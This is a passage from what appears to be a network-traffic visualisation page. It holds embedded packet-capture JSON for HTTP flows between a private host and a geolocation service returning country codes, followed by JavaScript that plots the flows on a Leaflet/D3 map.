1777473249.521297, \"timestamp_iso\": \"2026-04-29T20:04:09.521297\", \"timestamp_human\": \"2026-04-29 20:04:09.521\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1780, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50177, \"dst_port\": 80, \"tcp_seq\": 3658458229, \"tcp_ack\": 2184589265, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 187, \"timestamp\": 1777473249.802086, \"timestamp_iso\": \"2026-04-29T20:04:09.802086\", \"timestamp_human\": \"2026-04-29 20:04:09.802\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1781, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50181, \"dst_port\": 80, \"tcp_seq\": 961268526, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 189, \"timestamp\": 1777473249.802235, \"timestamp_iso\": \"2026-04-29T20:04:09.802235\", \"timestamp_human\": \"2026-04-29 20:04:09.802\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1782, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50181, \"dst_port\": 80, \"tcp_seq\": 961268527, \"tcp_ack\": 3563670001, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 190, \"timestamp\": 1777473249.802516, \"timestamp_iso\": \"2026-04-29T20:04:09.802516\", \"timestamp_human\": \"2026-04-29 20:04:09.802\", \"size\": 139, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1783, \"ip_len\": 125, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50181, \"dst_port\": 80, \"tcp_seq\": 961268527, \"tcp_ack\": 3563670001, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 197, \"timestamp\": 1777473250.438023, \"timestamp_iso\": \"2026-04-29T20:04:10.438023\", \"timestamp_human\": \"2026-04-29 20:04:10.438\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1784, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50181, \"dst_port\": 80, \"tcp_seq\": 961268612, \"tcp_ack\": 3563670197, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 5, \"ACK\": 23, \"PSH\": 5, \"FIN\": 4}, \"packet_sizes\": [66, 54, 163, 54, 54, 54, 66, 54, 139, 54, 54, 54, 66, 54, 139, 54, 54, 54, 66, 54, 139, 54, 54, 54, 66, 54, 139, 54], \"inter_packet_intervals\": [0.00028896331787109375, 0.0047130584716796875, 0.5716779232025146, 34.33384108543396, 32.29369592666626, 0.0018911361694335938, 0.0001380443572998047, 0.0006070137023925781, 0.3928709030151367, 52.99908089637756, 11.36807107925415, 0.2566230297088623, 0.00018095970153808594, 0.0001709461212158203, 0.865380048751831, 40.82022714614868, 24.084517002105713, 0.0007607936859130859, 0.00011920928955078125, 0.00031495094299316406, 0.4904930591583252, 53.29187989234924, 11.309350967407227, 0.2807891368865967, 0.000148773193359375, 0.0002810955047607422, 0.6355071067810059], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 264.0036201477051, \"avg_packet_size\": 72.17857142857143, \"packets_per_second\": 0.1060591517053233, \"bytes_per_second\": 7.655198057016371, \"min_packet_size\": 54, \"max_packet_size\": 163, \"median_packet_size\": 54, \"avg_interval\": 9.77791185732241, \"min_interval\": 0.00011920928955078125, \"max_interval\": 53.29187989234924}, {\"source\": \"208.95.112.1\", \"target\": \"192.168.122.168\", \"packet_count\": 23, \"total_bytes\": 2281, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ports\": [80], \"dst_ports\": [50101, 50145, 50162, 50177, 50181], \"first_packet\": 1777472986.434474, \"last_packet\": 1777473250.386889, \"packets\": [{\"packet_number\": 52, \"timestamp\": 1777472986.434474, \"timestamp_iso\": \"2026-04-29T19:59:46.434474\", \"timestamp_human\": \"2026-04-29 19:59:46.434\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50101, \"tcp_seq\": 2612282429, \"tcp_ack\": 416520095, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 55, \"timestamp\": 1777472986.439427, \"timestamp_iso\": \"2026-04-29T19:59:46.439427\", \"timestamp_human\": \"2026-04-29 19:59:46.439\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 11501, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50101, \"tcp_seq\": 2612282430, \"tcp_ack\": 416520204, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 56, \"timestamp\": 1777472986.967336, \"timestamp_iso\": \"2026-04-29T19:59:46.967336\", \"timestamp_human\": \"2026-04-29 19:59:46.967\", \"size\": 250, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 11502, \"ip_len\": 236, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50101, \"tcp_seq\": 2612282430, \"tcp_ack\": 416520204, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 20, \"payload_preview\": \"7b22636f756e747279436f6465223a224e4c227d\", \"payload_ascii\": \"{\\\"countryCode\\\":\\\"NL\\\"}\"}, {\"packet_number\": 68, \"timestamp\": 1777473021.344763, \"timestamp_iso\": \"2026-04-29T20:00:21.344763\", \"timestamp_human\": \"2026-04-29 20:00:21.344\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 11503, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50101, \"tcp_seq\": 2612282626, \"tcp_ack\": 416520204, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 84, \"timestamp\": 1777473053.638683, \"timestamp_iso\": \"2026-04-29T20:00:53.638683\", \"timestamp_human\": \"2026-04-29 20:00:53.638\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50101, \"tcp_seq\": 2612282627, \"tcp_ack\": 416520205, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 86, \"timestamp\": 1777473053.64057, \"timestamp_iso\": \"2026-04-29T20:00:53.640570\", \"timestamp_human\": \"2026-04-29 20:00:53.640\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50145, \"tcp_seq\": 3425078172, \"tcp_ack\": 1823256112, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 89, \"timestamp\": 1777473053.641276, \"timestamp_iso\": \"2026-04-29T20:00:53.641276\", \"timestamp_human\": \"2026-04-29 20:00:53.641\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 56047, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50145, \"tcp_seq\": 3425078173, \"tcp_ack\": 1823256197, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 90, \"timestamp\": 1777473053.992047, \"timestamp_iso\": \"2026-04-29T20:00:53.992047\", \"timestamp_human\": \"2026-04-29 20:00:53.992\", \"size\": 249, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 56048, \"ip_len\": 235, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50145, \"tcp_seq\": 3425078173, \"tcp_ack\": 1823256197, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 20, \"payload_preview\": \"7b22636f756e747279436f6465223a224e4c227d\", \"payload_ascii\": \"{\\\"countryCode\\\":\\\"NL\\\"}\"}, {\"packet_number\": 106, \"timestamp\": 1777473107.033002, \"timestamp_iso\": \"2026-04-29T20:01:47.033002\", \"timestamp_human\": \"2026-04-29 20:01:47.033\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 56049, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50145, \"tcp_seq\": 3425078368, \"tcp_ack\": 1823256197, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 118, \"timestamp\": 1777473118.401311, \"timestamp_iso\": \"2026-04-29T20:01:58.401311\", \"timestamp_human\": \"2026-04-29 20:01:58.401\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50145, \"tcp_seq\": 3425078369, \"tcp_ack\": 1823256198, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 120, \"timestamp\": 1777473118.657953, \"timestamp_iso\": \"2026-04-29T20:01:58.657953\", \"timestamp_human\": \"2026-04-29 20:01:58.657\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50162, \"tcp_seq\": 527920616, \"tcp_ack\": 3346682246, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 123, \"timestamp\": 1777473118.658269, \"timestamp_iso\": \"2026-04-29T20:01:58.658269\", \"timestamp_human\": \"2026-04-29 20:01:58.658\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 55170, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50162, \"tcp_seq\": 527920617, \"tcp_ack\": 3346682331, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 124, \"timestamp\": 1777473119.4331, \"timestamp_iso\": \"2026-04-29T20:01:59.433100\", \"timestamp_human\": \"2026-04-29 20:01:59.433\", \"size\": 250, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 55171, \"ip_len\": 236, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50162, \"tcp_seq\": 527920617, \"tcp_ack\": 3346682331, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 20, \"payload_preview\": \"7b22636f756e747279436f6465223a225553227d\", \"payload_ascii\": \"{\\\"countryCode\\\":\\\"US\\\"}\"}, {\"packet_number\": 138, \"timestamp\": 1777473160.343693, \"timestamp_iso\": \"2026-04-29T20:02:40.343693\", \"timestamp_human\": \"2026-04-29 20:02:40.343\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 55172, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50162, \"tcp_seq\": 527920813, \"tcp_ack\": 3346682331, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 152, \"timestamp\": 1777473184.428419, \"timestamp_iso\": \"2026-04-29T20:03:04.428419\", \"timestamp_human\": \"2026-04-29 20:03:04.428\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50162, \"tcp_seq\": 527920814, \"tcp_ack\": 3346682332, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 154, \"timestamp\": 1777473184.429178, \"timestamp_iso\": \"2026-04-29T20:03:04.429178\", \"timestamp_human\": \"2026-04-29 20:03:04.429\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50177, \"tcp_seq\": 2184589067, \"tcp_ack\": 3658458144, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 157, \"timestamp\": 1777473184.429588, \"timestamp_iso\": \"2026-04-29T20:03:04.429588\", \"timestamp_human\": \"2026-04-29 20:03:04.429\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 58992, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50177, \"tcp_seq\": 2184589068, \"tcp_ack\": 3658458229, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 158, \"timestamp\": 1777473184.87021, \"timestamp_iso\": \"2026-04-29T20:03:04.870210\", \"timestamp_human\": \"2026-04-29 20:03:04.870\", \"size\": 250, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 58993, \"ip_len\": 236, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50177, \"tcp_seq\": 2184589068, \"tcp_ack\": 3658458229, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 20, \"payload_preview\": \"7b22636f756e747279436f6465223a224e4c227d\", \"payload_ascii\": \"{\\\"countryCode\\\":\\\"NL\\\"}\"}, {\"packet_number\": 174, \"timestamp\": 1777473238.211732, \"timestamp_iso\": \"2026-04-29T20:03:58.211732\", \"timestamp_human\": \"2026-04-29 20:03:58.211\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 58994, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50177, \"tcp_seq\": 2184589264, \"tcp_ack\": 3658458229, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 186, \"timestamp\": 1777473249.52133, \"timestamp_iso\": \"2026-04-29T20:04:09.521330\", \"timestamp_human\": \"2026-04-29 20:04:09.521\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50177, \"tcp_seq\": 2184589265, \"tcp_ack\": 3658458230, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 188, \"timestamp\": 1777473249.802133, \"timestamp_iso\": \"2026-04-29T20:04:09.802133\", \"timestamp_human\": \"2026-04-29 20:04:09.802\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50181, \"tcp_seq\": 3563670000, \"tcp_ack\": 961268527, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 191, \"timestamp\": 1777473249.802533, \"timestamp_iso\": \"2026-04-29T20:04:09.802533\", \"timestamp_human\": \"2026-04-29 20:04:09.802\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 25674, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50181, \"tcp_seq\": 3563670001, \"tcp_ack\": 961268612, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 192, \"timestamp\": 1777473250.386889, \"timestamp_iso\": \"2026-04-29T20:04:10.386889\", \"timestamp_human\": \"2026-04-29 20:04:10.386\", \"size\": 250, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 25675, \"ip_len\": 236, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50181, \"tcp_seq\": 3563670001, \"tcp_ack\": 961268612, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 20, \"payload_preview\": \"7b22636f756e747279436f6465223a224e4c227d\", \"payload_ascii\": \"{\\\"countryCode\\\":\\\"NL\\\"}\"}], \"tcp_flags\": {\"SYN\": 5, \"ACK\": 23, \"PSH\": 5, \"FIN\": 4}, \"packet_sizes\": [66, 54, 250, 54, 54, 66, 54, 249, 54, 54, 66, 54, 250, 54, 54, 66, 54, 250, 54, 54, 66, 54, 250], \"inter_packet_intervals\": [0.004952907562255859, 0.5279090404510498, 34.377427101135254, 32.293920040130615, 0.0018868446350097656, 0.0007059574127197266, 0.3507711887359619, 53.04095482826233, 11.368309020996094, 0.25664210319519043, 0.0003159046173095703, 0.7748310565948486, 40.910593032836914, 24.084726095199585, 0.0007588863372802734, 0.0004100799560546875, 0.44062185287475586, 53.341521978378296, 11.309598207473755, 0.28080296516418457, 0.0003998279571533203, 0.5843560695648193], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 263.95241498947144, \"avg_packet_size\": 99.17391304347827, \"packets_per_second\": 0.08713691822413304, \"bytes_per_second\": 8.641709150836846, \"min_packet_size\": 54, \"max_packet_size\": 250, \"median_packet_size\": 54, \"avg_interval\": 11.997837044975974, \"min_interval\": 0.0003159046173095703, \"max_interval\": 53.341521978378296}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, 